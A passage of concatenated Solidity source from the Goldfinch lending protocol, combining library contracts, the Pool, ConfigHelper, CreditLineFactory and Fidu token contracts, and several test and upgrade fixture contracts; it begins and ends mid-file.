* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../protocol/Accountant.sol";
import "../protocol/CreditLine.sol";
contract TestAccountant {
function calculateInterestAndPrincipalAccrued(
address creditLineAddress,
uint256 blockNumber,
uint256 lateFeeGracePeriod
) public view returns (uint256, uint256) {
CreditLine cl = CreditLine(creditLineAddress);
return Accountant.calculateInterestAndPrincipalAccrued(cl, blockNumber, lateFeeGracePeriod);
}
function calculateWritedownFor(
address creditLineAddress,
uint256 blockNumber,
uint256 gracePeriod,
uint256 maxLatePeriods
) public view returns (uint256, uint256) {
CreditLine cl = CreditLine(creditLineAddress);
return Accountant.calculateWritedownFor(cl, blockNumber, gracePeriod, maxLatePeriods);
}
function calculateAmountOwedForOneDay(address creditLineAddress) public view returns (FixedPoint.Unsigned memory) {
CreditLine cl = CreditLine(creditLineAddress);
return Accountant.calculateAmountOwedForOneDay(cl);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol";
import "../protocol/BaseUpgradeablePausable.sol";
import "../protocol/Pool.sol";
import "../protocol/Accountant.sol";
import "../protocol/CreditLine.sol";
import "../protocol/GoldfinchConfig.sol";
contract FakeV2CreditDesk is BaseUpgradeablePausable {
uint256 public totalWritedowns;
uint256 public totalLoansOutstanding;
// Approximate number of blocks
uint256 public constant BLOCKS_PER_DAY = 5760;
GoldfinchConfig public config;
struct Underwriter {
uint256 governanceLimit;
address[] creditLines;
}
struct Borrower {
address[] creditLines;
}
event PaymentMade(
address indexed payer,
address indexed creditLine,
uint256 interestAmount,
uint256 principalAmount,
uint256 remainingAmount
);
event PrepaymentMade(address indexed payer, address indexed creditLine, uint256 prepaymentAmount);
event DrawdownMade(address indexed borrower, address indexed creditLine, uint256 drawdownAmount);
event CreditLineCreated(address indexed borrower, address indexed creditLine);
event PoolAddressUpdated(address indexed oldAddress, address indexed newAddress);
event GovernanceUpdatedUnderwriterLimit(address indexed underwriter, uint256 newLimit);
event LimitChanged(address indexed owner, string limitType, uint256 amount);
mapping(address => Underwriter) public underwriters;
mapping(address => Borrower) private borrowers;
function initialize(address owner, GoldfinchConfig _config) public initializer {
return;
}
function someBrandNewFunction() public pure returns (uint256) {
return 5;
}
function getUnderwriterCreditLines(address underwriterAddress) public view returns (address[] memory) {
return underwriters[underwriterAddress].creditLines;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./BaseUpgradeablePausable.sol";
import "./ConfigHelper.sol";
/**
* @title Goldfinch's Pool contract
* @notice Main entry point for LP's (a.k.a. capital providers)
* Handles key logic for depositing and withdrawing funds from the Pool
* @author Goldfinch
*/
contract Pool is BaseUpgradeablePausable, IPool {
GoldfinchConfig public config;
using ConfigHelper for GoldfinchConfig;
// $1 threshold to handle potential rounding errors, from differing decimals on Fidu and USDC;
uint256 constant ASSET_LIABILITY_MATCH_THRESHOLD = 1e6;
event DepositMade(address indexed capitalProvider, uint256 amount, uint256 shares);
event WithdrawalMade(address indexed capitalProvider, uint256 userAmount, uint256 reserveAmount);
event TransferMade(address indexed from, address indexed to, uint256 amount);
event InterestCollected(address indexed payer, uint256 poolAmount, uint256 reserveAmount);
event PrincipalCollected(address indexed payer, uint256 amount);
event ReserveFundsCollected(address indexed user, uint256 amount);
event PrincipalWrittendown(address indexed creditline, int256 amount);
/**
* @notice Run only once, on initialization
* @param owner The address of who should have the "OWNER_ROLE" of this contract
* @param _config The address of the GoldfinchConfig contract
*/
function initialize(address owner, GoldfinchConfig _config) public initializer {
__BaseUpgradeablePausable__init(owner);
config = _config;
sharePrice = fiduMantissa();
IERC20withDec usdc = config.getUSDC();
// Sanity check the address
usdc.totalSupply();
// Unlock self for infinite amount
bool success = usdc.approve(address(this), uint256(-1));
require(success, "Failed to approve USDC");
}
/**
* @notice Deposits `amount` USDC from msg.sender into the Pool, and returns you the equivalent value of FIDU tokens
* @param amount The amount of USDC to deposit
*/
function deposit(uint256 amount) external override whenNotPaused withinTransactionLimit(amount) nonReentrant {
require(amount > 0, "Must deposit more than zero");
// Check if the amount of new shares to be added is within limits
uint256 depositShares = getNumShares(amount);
uint256 potentialNewTotalShares = totalShares().add(depositShares);
require(poolWithinLimit(potentialNewTotalShares), "Deposit would put the Pool over the total limit.");
emit DepositMade(msg.sender, amount, depositShares);
bool success = doUSDCTransfer(msg.sender, address(this), amount);
require(success, "Failed to transfer for deposit");
config.getFidu().mintTo(msg.sender, depositShares);
assert(assetsMatchLiabilities());
}
/**
* @notice Withdraws `amount` USDC from the Pool to msg.sender, and burns the equivalent value of FIDU tokens
* @param amount The amount of USDC to withdraw
*/
function withdraw(uint256 amount) external override whenNotPaused withinTransactionLimit(amount) nonReentrant {
require(amount > 0, "Must withdraw more than zero");
// Determine current shares the address has and the shares requested to withdraw
uint256 currentShares = config.getFidu().balanceOf(msg.sender);
uint256 withdrawShares = getNumShares(amount);
// Ensure the address has enough value in the pool
require(withdrawShares <= currentShares, "Amount requested is greater than what this address owns");
uint256 reserveAmount = amount.div(config.getWithdrawFeeDenominator());
uint256 userAmount = amount.sub(reserveAmount);
emit WithdrawalMade(msg.sender, userAmount, reserveAmount);
// Send the amounts
bool success = doUSDCTransfer(address(this), msg.sender, userAmount);
require(success, "Failed to transfer for withdraw");
sendToReserve(address(this), reserveAmount, msg.sender);
// Burn the shares
config.getFidu().burnFrom(msg.sender, withdrawShares);
assert(assetsMatchLiabilities());
}
/**
* @notice Collects `amount` USDC in interest from `from` and sends it to the Pool.
* This also increases the share price accordingly. A portion is sent to the Goldfinch Reserve address
* @param from The address to take the USDC from. Implicitly, the Pool
* must be authorized to move USDC on behalf of `from`.
* @param amount the amount of USDC to move to the Pool
*
* Requirements:
* - The caller must be the Credit Desk. Not even the owner can call this function.
*/
function collectInterestRepayment(address from, uint256 amount) external override onlyCreditDesk whenNotPaused {
uint256 reserveAmount = amount.div(config.getReserveDenominator());
uint256 poolAmount = amount.sub(reserveAmount);
emit InterestCollected(from, poolAmount, reserveAmount);
uint256 increment = usdcToSharePrice(poolAmount);
sharePrice = sharePrice.add(increment);
sendToReserve(from, reserveAmount, from);
bool success = doUSDCTransfer(from, address(this), poolAmount);
require(success, "Failed to transfer interest payment");
}
/**
* @notice Collects `amount` USDC in principal from `from` and sends it to the Pool.
* The key difference from `collectInterestPayment` is that this does not change the sharePrice.
* The reason it does not is because the principal is already baked in. ie. we implicitly assume all principal
* will be returned to the Pool. But if borrowers are late with payments, we have a writedown schedule that adjusts
* the sharePrice downwards to reflect the lowered confidence in that borrower.
* @param from The address to take the USDC from. Implicitly, the Pool
* must be authorized to move USDC on behalf of `from`.
* @param amount the amount of USDC to move to the Pool
*
* Requirements:
* - The caller must be the Credit Desk. Not even the owner can call this function.
*/
function collectPrincipalRepayment(address from, uint256 amount) external override onlyCreditDesk whenNotPaused {
// Purposefully does nothing except receive money. No share price updates for principal.
emit PrincipalCollected(from, amount);
bool success = doUSDCTransfer(from, address(this), amount);
require(success, "Failed to principal repayment");
}
function distributeLosses(address creditlineAddress, int256 writedownDelta)
external
override
onlyCreditDesk
whenNotPaused
{
if (writedownDelta > 0) {
uint256 delta = usdcToSharePrice(uint256(writedownDelta));
sharePrice = sharePrice.add(delta);
} else {
// If delta is negative, convert to positive uint, and sub from sharePrice
uint256 delta = usdcToSharePrice(uint256(writedownDelta * -1));
sharePrice = sharePrice.sub(delta);
}
emit PrincipalWrittendown(creditlineAddress, writedownDelta);
}
/**
* @notice Moves `amount` USDC from `from`, to `to`.
* @param from The address to take the USDC from. Implicitly, the Pool
* must be authorized to move USDC on behalf of `from`.
* @param to The address that the USDC should be moved to
* @param amount the amount of USDC to move to the Pool
*
* Requirements:
* - The caller must be the Credit Desk. Not even the owner can call this function.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public override onlyCreditDesk whenNotPaused returns (bool) {
bool result = doUSDCTransfer(from, to, amount);
emit TransferMade(from, to, amount);
return result;
}
function assets() public view override returns (uint256) {
return
config.getUSDC().balanceOf(config.poolAddress()).add(config.getCreditDesk().totalLoansOutstanding()).sub(
config.getCreditDesk().totalWritedowns()
);
}
/* Internal Functions */
function fiduMantissa() internal view returns (uint256) {
return uint256(10)**uint256(config.getFidu().decimals());
}
function usdcMantissa() internal view returns (uint256) {
return uint256(10)**uint256(config.getUSDC().decimals());
}
function usdcToFidu(uint256 amount) internal view returns (uint256) {
return amount.mul(fiduMantissa()).div(usdcMantissa());
}
function totalShares() internal view returns (uint256) {
return config.getFidu().totalSupply();
}
function usdcToSharePrice(uint256 usdcAmount) internal view returns (uint256) {
return usdcToFidu(usdcAmount).mul(fiduMantissa()).div(totalShares());
}
function poolWithinLimit(uint256 _totalShares) internal view returns (bool) {
return
_totalShares.mul(sharePrice).div(fiduMantissa()) <=
usdcToFidu(config.getNumber(uint256(ConfigOptions.Numbers.TotalFundsLimit)));
}
function transactionWithinLimit(uint256 amount) internal view returns (bool) {
return amount <= config.getNumber(uint256(ConfigOptions.Numbers.TransactionLimit));
}
function getNumShares(uint256 amount) internal view returns (uint256) {
return usdcToFidu(amount).mul(fiduMantissa()).div(sharePrice);
}
function assetsMatchLiabilities() internal view returns (bool) {
uint256 liabilities = config.getFidu().totalSupply().mul(sharePrice).div(fiduMantissa());
uint256 liabilitiesInDollars = fiduToUSDC(liabilities);
uint256 _assets = assets();
if (_assets >= liabilitiesInDollars) {
return _assets.sub(liabilitiesInDollars) <= ASSET_LIABILITY_MATCH_THRESHOLD;
} else {
return liabilitiesInDollars.sub(_assets) <= ASSET_LIABILITY_MATCH_THRESHOLD;
}
}
function fiduToUSDC(uint256 amount) internal view returns (uint256) {
return amount.div(fiduMantissa().div(usdcMantissa()));
}
function sendToReserve(
address from,
uint256 amount,
address userForEvent
) internal {
emit ReserveFundsCollected(userForEvent, amount);
bool success = doUSDCTransfer(from, config.reserveAddress(), amount);
require(success, "Reserve transfer was not successful");
}
function doUSDCTransfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
require(transactionWithinLimit(amount), "Amount is over the per-transaction limit");
require(to != address(0), "Can't send to zero address");
IERC20withDec usdc = config.getUSDC();
uint256 balanceBefore = usdc.balanceOf(to);
bool success = usdc.transferFrom(from, to, amount);
// Calculate the amount that was *actually* transferred
uint256 balanceAfter = usdc.balanceOf(to);
require(balanceAfter >= balanceBefore, "Token Transfer Overflow Error");
return success;
}
modifier withinTransactionLimit(uint256 amount) {
require(transactionWithinLimit(amount), "Amount is over the per-transaction limit");
_;
}
modifier onlyCreditDesk() {
require(msg.sender == config.creditDeskAddress(), "Only the credit desk is allowed to call this function");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./GoldfinchConfig.sol";
import "../interfaces/IPool.sol";
import "../interfaces/IFidu.sol";
import "../interfaces/ICreditDesk.sol";
import "../interfaces/IERC20withDec.sol";
/**
* @title ConfigHelper
* @notice A convenience library for getting easy access to other contracts and constants within the
* protocol, through the use of the GoldfinchConfig contract
* @author Goldfinch
*/
library ConfigHelper {
function getPool(GoldfinchConfig config) internal view returns (IPool) {
return IPool(poolAddress(config));
}
function getUSDC(GoldfinchConfig config) internal view returns (IERC20withDec) {
return IERC20withDec(config.getAddress(uint256(ConfigOptions.Addresses.USDC)));
}
function getCreditDesk(GoldfinchConfig config) internal view returns (ICreditDesk) {
return ICreditDesk(creditDeskAddress(config));
}
function getFidu(GoldfinchConfig config) internal view returns (IFidu) {
return IFidu(fiduAddress(config));
}
function poolAddress(GoldfinchConfig config) internal view returns (address) {
return config.getAddress(uint256(ConfigOptions.Addresses.Pool));
}
function creditDeskAddress(GoldfinchConfig config) internal view returns (address) {
return config.getAddress(uint256(ConfigOptions.Addresses.CreditDesk));
}
function fiduAddress(GoldfinchConfig config) internal view returns (address) {
return config.getAddress(uint256(ConfigOptions.Addresses.Fidu));
}
function reserveAddress(GoldfinchConfig config) internal view returns (address) {
return config.getAddress(uint256(ConfigOptions.Addresses.TreasuryReserve));
}
function protocolAdminAddress(GoldfinchConfig config) internal view returns (address) {
return config.getAddress(uint256(ConfigOptions.Addresses.ProtocolAdmin));
}
function getReserveDenominator(GoldfinchConfig config) internal view returns (uint256) {
return config.getNumber(uint256(ConfigOptions.Numbers.ReserveDenominator));
}
function getWithdrawFeeDenominator(GoldfinchConfig config) internal view returns (uint256) {
return config.getNumber(uint256(ConfigOptions.Numbers.WithdrawFeeDenominator));
}
function getLatenessGracePeriodInDays(GoldfinchConfig config) internal view returns (uint256) {
return config.getNumber(uint256(ConfigOptions.Numbers.LatenessGracePeriodInDays));
}
function getLatenessMaxDays(GoldfinchConfig config) internal view returns (uint256) {
return config.getNumber(uint256(ConfigOptions.Numbers.LatenessMaxDays));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract IPool {
uint256 public sharePrice;
function deposit(uint256 amount) external virtual;
function withdraw(uint256 amount) external virtual;
function collectInterestRepayment(address from, uint256 amount) external virtual;
function collectPrincipalRepayment(address from, uint256 amount) external virtual;
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool);
function distributeLosses(address creditlineAddress, int256 writedownDelta) external virtual;
function assets() public view virtual returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IERC20withDec.sol";
interface IFidu is IERC20withDec {
function mintTo(address to, uint256 amount) external;
function burnFrom(address to, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
abstract contract ICreditDesk {
uint256 public totalWritedowns;
uint256 public totalLoansOutstanding;
function setUnderwriterGovernanceLimit(address underwriterAddress, uint256 limit) external virtual;
function createCreditLine(
address _borrower,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public virtual returns (address);
function drawdown(
uint256 amount,
address creditLineAddress,
address addressToSendTo
) external virtual;
function pay(address creditLineAddress, uint256 amount) external virtual;
function assessCreditLine(address creditLineAddress) external virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "../protocol/GoldfinchConfig.sol";
contract TestTheConfig {
address public poolAddress = 0xBAc2781706D0aA32Fb5928c9a5191A13959Dc4AE;
address public clImplAddress = 0xc783df8a850f42e7F7e57013759C285caa701eB6;
address public clFactoryAddress = 0x0afFE1972479c386A2Ab21a27a7f835361B6C0e9;
address public fiduAddress = 0xf3c9B38c155410456b5A98fD8bBf5E35B87F6d96;
address public creditDeskAddress = 0xeAD9C93b79Ae7C1591b1FB5323BD777E86e150d4;
address public treasuryReserveAddress = 0xECd9C93B79AE7C1591b1fB5323BD777e86E150d5;
function testTheEnums(address configAddress) public {
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.TransactionLimit), 1);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.TotalFundsLimit), 2);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.MaxUnderwriterLimit), 3);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.ReserveDenominator), 4);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.WithdrawFeeDenominator), 5);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.LatenessGracePeriodInDays), 6);
GoldfinchConfig(configAddress).setNumber(uint256(ConfigOptions.Numbers.LatenessMaxDays), 7);
GoldfinchConfig(configAddress).setAddress(uint256(ConfigOptions.Addresses.Fidu), fiduAddress);
GoldfinchConfig(configAddress).setAddress(uint256(ConfigOptions.Addresses.Pool), poolAddress);
GoldfinchConfig(configAddress).setAddress(uint256(ConfigOptions.Addresses.CreditDesk), creditDeskAddress);
GoldfinchConfig(configAddress).setAddress(uint256(ConfigOptions.Addresses.CreditLineFactory), clFactoryAddress);
GoldfinchConfig(configAddress).setCreditLineImplementation(clImplAddress);
GoldfinchConfig(configAddress).setTreasuryReserve(treasuryReserveAddress);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "../protocol/GoldfinchConfig.sol";
contract TestGoldfinchConfig is GoldfinchConfig {
function setAddressForTest(uint256 addressKey, address newAddress) public {
addresses[addressKey] = newAddress;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./BaseUpgradeablePausable.sol";
import "./GoldfinchConfig.sol";
/**
* @title CreditLineFactory
* @notice Contract that allows us to follow the minimal proxy pattern for creating CreditLines.
* This saves us gas, and lets us easily swap out the CreditLine implementaton.
* @author Goldfinch
*/
contract CreditLineFactory is BaseUpgradeablePausable {
GoldfinchConfig public config;
function initialize(address owner, GoldfinchConfig _config) public initializer {
__BaseUpgradeablePausable__init(owner);
config = _config;
}
function createCreditLine(bytes calldata _data) external returns (address) {
address creditLineImplAddress = config.getAddress(uint256(ConfigOptions.Addresses.CreditLineImplementation));
address creditLineProxy = deployMinimal(creditLineImplAddress, _data);
return creditLineProxy;
}
function deployMinimal(address _logic, bytes memory _data) internal returns (address proxy) {
/* solhint-disable */
// From https://github.com/OpenZeppelin/openzeppelin-sdk/blob/v2.8.0/packages/lib/contracts/upgradeability/ProxyFactory.sol#L18-L35
// Because of compiler version mismatch
bytes20 targetBytes = bytes20(_logic);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
proxy := create(0, clone, 0x37)
}
// Only this line was changed (commented out)
// emit ProxyCreated(address(proxy));
if (_data.length > 0) {
(bool success, ) = proxy.call(_data);
require(success);
}
/* solhint-enable */
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "../protocol/Pool.sol";
import "../protocol/BaseUpgradeablePausable.sol";
contract FakeV2CreditLine is BaseUpgradeablePausable {
// Credit line terms
address public borrower;
address public underwriter;
uint256 public limit;
uint256 public interestApr;
uint256 public paymentPeriodInDays;
uint256 public termInDays;
uint256 public lateFeeApr;
// Accounting variables
uint256 public balance;
uint256 public interestOwed;
uint256 public principalOwed;
uint256 public termEndBlock;
uint256 public nextDueBlock;
uint256 public interestAccruedAsOfBlock;
uint256 public writedownAmount;
uint256 public lastFullPaymentBlock;
function initialize(
address owner,
address _borrower,
address _underwriter,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public initializer {
__BaseUpgradeablePausable__init(owner);
borrower = _borrower;
underwriter = _underwriter;
limit = _limit;
interestApr = _interestApr;
paymentPeriodInDays = _paymentPeriodInDays;
termInDays = _termInDays;
lateFeeApr = _lateFeeApr;
interestAccruedAsOfBlock = block.number;
}
function anotherNewFunction() external pure returns (uint256) {
return 42;
}
function authorizePool(address) external view onlyAdmin {
// no-op
return;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "../protocol/Pool.sol";
contract TestPool is Pool {
function _getNumShares(uint256 amount) public view returns (uint256) {
return getNumShares(amount);
}
function _usdcMantissa() public view returns (uint256) {
return usdcMantissa();
}
function _fiduMantissa() public view returns (uint256) {
return fiduMantissa();
}
function _usdcToFidu(uint256 amount) public view returns (uint256) {
return usdcToFidu(amount);
}
function _setSharePrice(uint256 newSharePrice) public returns (uint256) {
sharePrice = newSharePrice;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-ethereum-package/contracts/presets/ERC20PresetMinterPauser.sol";
import "./ConfigHelper.sol";
/**
* @title Fidu
* @notice Fidu (symbol: FIDU) is Goldfinch's liquidity token, representing shares
* in the Pool. When you deposit, we mint a corresponding amount of Fidu, and when you withdraw, we
* burn Fidu. The share price of the Pool implicitly represents the "exchange rate" between Fidu
* and USDC (or whatever currencies the Pool may allow withdraws in during the future)
* @author Goldfinch
*/
contract Fidu is ERC20PresetMinterPauserUpgradeSafe {
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
// $1 threshold to handle potential rounding errors, from differing decimals on Fidu and USDC;
uint256 public constant ASSET_LIABILITY_MATCH_THRESHOLD = 1e6;
GoldfinchConfig public config;
using ConfigHelper for GoldfinchConfig;
/*
We are using our own initializer function so we can set the owner by passing it in.
I would override the regular "initializer" function, but I can't because it's not marked
as "virtual" in the parent contract
*/
// solhint-disable-next-line func-name-mixedcase
function __initialize__(
address owner,
string calldata name,
string calldata symbol,
GoldfinchConfig _config
) external initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
config = _config;
_setupRole(MINTER_ROLE, owner);
_setupRole(PAUSER_ROLE, owner);
_setupRole(OWNER_ROLE, owner);
_setRoleAdmin(MINTER_ROLE, OWNER_ROLE);
_setRoleAdmin(PAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mintTo(address to, uint256 amount) public {
require(canMint(amount), "Cannot mint: it would create an asset/liability mismatch");
// This will lock the function down to only the minter
super.mint(to, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have the MINTER_ROLE
*/
function burnFrom(address from, uint256 amount) public override {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: Must have minter role to burn");
require(canBurn(amount), "Cannot burn: it would create an asset/liability mismatch");
_burn(from, amount);
}
// Internal functions
// canMint assumes that the USDC that backs the new shares has already been sent to the Pool
function canMint(uint256 newAmount) internal view returns (bool) {
uint256 liabilities = totalSupply().add(newAmount).mul(config.getPool().sharePrice()).div(fiduMantissa());
uint256 liabilitiesInDollars = fiduToUSDC(liabilities);
